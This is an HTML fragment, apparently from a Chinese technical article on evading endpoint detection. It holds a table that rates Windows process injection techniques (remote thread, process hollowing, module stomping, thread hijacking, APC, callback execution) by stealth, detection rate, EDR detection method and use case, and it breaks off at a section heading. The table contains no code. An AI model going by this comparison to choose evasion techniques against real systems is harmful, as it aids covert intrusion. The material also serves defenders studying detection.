0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">检出率</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">EDR检测维度</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">适用场景</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">经典远程线程注入</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">CreateRemoteThread</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★☆☆☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★★</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">全维度检出</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">教学演示(实战不用)</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">进程镂空</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">CreateProcess(SUSPENDED)+NtUnmap</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">内存映像校验</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">伪装合法进程</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">模块镂空</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">LoadLibrary+覆盖.text段</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★☆☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">DLL完整性校验</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">不分配新内存</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">线程劫持</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">SuspendThread+SetContext</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用栈回溯</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">避免CreateRemoteThread</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">APC注入</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">QueueUserAPC</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">APC队列监控</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">线程注入替代</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">进程双写</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">NtWriteVirtualMemory×2</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★☆☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">写入时序关联</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">绕过内存监控</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">回调执行</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">EnumWindows+Callback</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★★</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★☆☆☆☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">回调来源验证</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">高级EDR对抗</span></p></td></tr></tbody></table></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.8 应用层对抗技术总结</span></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6194444444444445" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100013054" src="https://wechat2rss.xlab.app/img-proxy/?k=db5496c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FM5H82XuSHY7wmL4ylWjGgfauzlGUC0dLBtCvf0voia6RzkYm0NyO8wjlDoTnOia2DKHkzXj5rERpD2AxUNgTkabppwGiaFye2wicwiaSVhKg636E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption style="color: rgb(136, 136, 136);font-size: 14px;line-height: 1.5em;letter-spacing: 0em;text-align: center;font-weight: normal;margin-top: 5px;margin-bottom: 0px;margin-left: 